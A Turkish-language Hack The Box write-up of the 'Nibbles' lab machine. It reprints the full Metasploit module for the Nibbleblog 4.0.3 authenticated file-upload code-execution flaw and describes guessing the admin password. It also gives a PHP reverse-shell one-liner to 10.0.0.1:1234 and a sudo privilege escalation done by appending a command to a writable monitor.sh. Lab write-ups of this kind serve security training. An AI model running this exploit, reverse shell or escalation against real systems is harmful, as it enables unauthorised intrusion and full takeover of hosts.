TR | Hack The Box :: Nibbles Writeup
Merhabalar,
Hackthebox serimize Nibbles makinası ile başlıyoruz. Makinanın seviyesine ben de “Easy” diyorum. Gelelim çözüme…
Makinamızda 80 ve 22 portları açık. 80 portundan erişim sağladığımızda açıklama satırında /nibbleblog adresini görüyoruz.
[email protected]:~# curl 10.10.10.75 <b>Hello world!</b> <!-- /nibbleblog/ directory. Nothing interesting here! -->
/nibbleblog adresinden erişim sağladığımızda “Powered by Nibbleblog” footer’ından hazır bir blog script’i olduğunu anlıyoruz. Dolayısıyla öncelikli olarak zafiyet bulunmuş mu bakalım…
4.0.3 versiyonu için Metasploit modülü yazılmış. Bu modül ile de php dosyası yüklemenize dolayısıyla kod çalıştırmanıza olanak sağlayan bir exploit var.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(
info,
'Name' => 'Nibbleblog File Upload Vulnerability',
'Description' => %q{
Nibbleblog contains a flaw that allows an authenticated remote
attacker to execute arbitrary PHP code. This module was
tested on version 4.0.3.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown', # Vulnerability Disclosure - Curesec Research Team. Author's name?
'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit Module
],
'References' =>
[
['URL', 'http://blog.curesec.com/article/blog/NibbleBlog-403-Code-Execution-47.html']
],
'DisclosureDate' => 'Sep 01 2015',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['Nibbleblog 4.0.3', {}]],
'DefaultTarget' => 0
))
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to the web application', '/']),
OptString.new('USERNAME', [true, 'The username to authenticate with']),
OptString.new('PASSWORD', [true, 'The password to authenticate with'])
])
end
def username
datastore['USERNAME']
end
def password
datastore['PASSWORD']
end
def check
cookie = do_login(username, password)
return Exploit::CheckCode::Detected unless cookie
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin.php'),
'cookie' => cookie,
'vars_get' => {
'controller' => 'settings',
'action' => 'general'
}
)
if res && res.code == 200 && res.body.include?('Nibbleblog 4.0.3 "Coffee"')
return Exploit::CheckCode::Appears
end
Exploit::CheckCode::Safe
end
def do_login(user, pass)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin.php')
)
fail_with(Failure::Unreachable, 'No response received from the target.') unless res
session_cookie = res.get_cookies
vprint_status("Logging in...")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin.php'),
'cookie' => session_cookie,
'vars_post' => {
'username' => user,
'password' => pass
}
)
return session_cookie if res && res.code == 302 && res.headers['Location']
nil
end
def exploit
unless [ Exploit::CheckCode::Detected, Exploit::CheckCode::Appears ].include?(check)
print_error("Target does not appear to be vulnerable.")
return
end
vprint_status("Authenticating using #{username}:#{password}")
cookie = do_login(username, password)
fail_with(Failure::NoAccess, 'Unable to login. Verify USERNAME/PASSWORD or TARGETURI.') if cookie.nil?
vprint_good("Authenticated with Nibbleblog.")
vprint_status("Preparing payload...")
payload_name = "#{Rex::Text.rand_text_alpha_lower(10)}.php"
data = Rex::MIME::Message.new
data.add_part('my_image', nil, nil, 'form-data; name="plugin"')
data.add_part('My image', nil, nil, 'form-data; name="title"')
data.add_part('4', nil, nil, 'form-data; name="position"')
data.add_part('', nil, nil, 'form-data; name="caption"')
data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"image\"; filename=\"#{payload_name}\"")
data.add_part('1', nil, nil, 'form-data; name="image_resize"')
data.add_part('230', nil, nil, 'form-data; name="image_width"')
data.add_part('200', nil, nil, 'form-data; name="image_height"')
data.add_part('auto', nil, nil, 'form-data; name="image_option"')
post_data = data.to_s
vprint_status("Uploading payload...")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri, 'admin.php'),
'vars_get' => {
'controller' => 'plugins',
'action' => 'config',
'plugin' => 'my_image'
},
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data,
'cookie' => cookie
)
if res && /Call to a member function getChild\(\) on a non\-object/ === res.body
fail_with(Failure::Unknown, 'Unable to upload payload. Does the server have the My Image plugin installed?')
elsif res && !( res.body.include?('<b>Warning</b>') || res.body.include?('warn') )
fail_with(Failure::Unknown, 'Unable to upload payload.')
end
vprint_good("Uploaded the payload.")
php_fname = 'image.php'
payload_url = normalize_uri(target_uri.path, 'content', 'private', 'plugins', 'my_image', php_fname)
vprint_status("Parsed response.")
register_files_for_cleanup(php_fname)
vprint_status("Executing the payload at #{payload_url}.")
send_request_cgi(
'uri' => payload_url,
'method' => 'GET'
)
end
end
Kodu incelediğimizde admin parolası ile giriş yapıp eklentideki file upload zafiyetinden faydalanarak image.php adında bir PHP dosyası göndererek kod çalıştırmakta. Tabii bunu yaparken parolayı bilmek gerek. Dolayısıyla script yazmaya dahi gerek kalmadan “admin:admin,admin:root,admin:nibbler,admin:nibbles” denemeleri sonucunda parolayı buluyorum.Exploit ettikten sonra yetkimizi alıyoruz.
LinEnum script’i ile zayıflıkları ararken, /home/nibbler/personal/stuff/monitor.sh dosyasından parolasız root haklarında komut çalıştırabileceğimi farkediyorum.
İlgili bash script’i inceleyelim.
####################################################################################################
# Tecmint_monitor.sh #
# Written for Tecmint.com for the post www.tecmint.com/linux-server-health-monitoring-script/ #
# If any bug, report us in the link below #
# Free to use/edit/distribute the code below by #
# giving proper credit to Tecmint.com and Author #
# #
####################################################################################################
#! /bin/bash
# unset any variable which system may be using
# clear the screen
clear
unset tecreset os architecture kernelrelease internalip externalip nameserver loadaverage
while getopts iv name
do
case $name in
i)iopt=1;;
v)vopt=1;;
*)echo "Invalid arg";;
esac
done
if [[ ! -z $iopt ]]
then
{
wd=$(pwd)
basename "$(test -L "$0" && readlink "$0" || echo "$0")" > /tmp/scriptname
scriptname=$(echo -e -n $wd/ && cat /tmp/scriptname)
su -c ssh [email protected] -i /home/nibbler/.ssh/test root && "cp $scriptname /usr/bin/monitor"
}
fi
if [[ ! -z $vopt ]]
then
{
echo -e "tecmint_monitor version 0.1\nDesigned by Tecmint.com\nReleased Under Apache 2.0 License"
}
fi
if [[ $# -eq 0 ]]
then
{
# Define Variable tecreset
tecreset=$(tput sgr0)
# Check if connected to Internet or not
ping -c 1 google.com &> /dev/null && echo -e '\E[32m'"Internet: $tecreset Connected" || echo -e '\E[32m'"Internet: $tecreset Disconnected"
# Check OS Type
os=$(uname -o)
echo -e '\E[32m'"Operating System Type :" $tecreset $os
# Check OS Release Version and Name
cat /etc/os-release | grep 'NAME\|VERSION' | grep -v 'VERSION_ID' | grep -v 'PRETTY_NAME' > /tmp/osrelease
echo -n -e '\E[32m'"OS Name :" $tecreset && cat /tmp/osrelease | grep -v "VERSION" | cut -f2 -d\"
echo -n -e '\E[32m'"OS Version :" $tecreset && cat /tmp/osrelease | grep -v "NAME" | cut -f2 -d\"
# Check Architecture
architecture=$(uname -m)
echo -e '\E[32m'"Architecture :" $tecreset $architecture
# Check Kernel Release
kernelrelease=$(uname -r)
echo -e '\E[32m'"Kernel Release :" $tecreset $kernelrelease
# Check hostname
echo -e '\E[32m'"Hostname :" $tecreset $HOSTNAME
# Check Internal IP
internalip=$(hostname -I)
echo -e '\E[32m'"Internal IP :" $tecreset $internalip
# Check External IP
externalip=$(curl -s ipecho.net/plain;echo)
echo -e '\E[32m'"External IP : $tecreset "$externalip
# Check DNS
nameservers=$(cat /etc/resolv.conf | sed '1 d' | awk '{print $2}')
echo -e '\E[32m'"Name Servers :" $tecreset $nameservers
# Check Logged In Users
who>/tmp/who
echo -e '\E[32m'"Logged In users :" $tecreset && cat /tmp/who
# Check RAM and SWAP Usages
free -h | grep -v + > /tmp/ramcache
echo -e '\E[32m'"Ram Usages :" $tecreset
cat /tmp/ramcache | grep -v "Swap"
echo -e '\E[32m'"Swap Usages :" $tecreset
cat /tmp/ramcache | grep -v "Mem"
# Check Disk Usages
df -h| grep 'Filesystem\|/dev/sda*' > /tmp/diskusage
echo -e '\E[32m'"Disk Usages :" $tecreset
cat /tmp/diskusage
# Check Load Average
loadaverage=$(top -n 1 -b | grep "load average:" | awk '{print $10 $11 $12}')
echo -e '\E[32m'"Load Average :" $tecreset $loadaverage
# Check System Uptime
tecuptime=$(uptime | awk '{print $3,$4}' | cut -f1 -d,)
echo -e '\E[32m'"System Uptime Days/(HH:MM) :" $tecreset $tecuptime
# Unset Variables
unset tecreset os architecture kernelrelease internalip externalip nameserver loadaverage
# Remove Temporary Files
rm /tmp/osrelease /tmp/who /tmp/ramcache /tmp/diskusage
}
fi
shift $(($OPTIND -1))
Öncelikle script’e yazma izni verdikten sonra ./monitor.sh ile başlatamadım(bash hariç). Dolayısıyla shell değiştirmek daha mantıklıydı. Dolasıyla php -r ‘$sock=fsockopen(“10.0.0.1”,1234);exec(“/bin/bash -i <&3 >&3 2>&3”);’
kodu ile /bin/bash reverse shell aldım. Script normal çalışmakta ama sudo ve su komutlarını çalıştıramamaktaydım.
Makinada Python yoktu, SSH Key ile terminal alamadım. İnteraktif shell’e geçemememden dolayı geri dönerek monitor dosyasını editleyip sudo yetkisi ile çalıştırmayı denedim.
echo “cat /root/root.txt” >> monitor.sh komutu ile dosyama root kullanıcısının dizinindeki flag’i okutmayı denedim. Sudo ./monitor.sh ile çalıştırdığımda flag değeri geldi.
Pwned #1





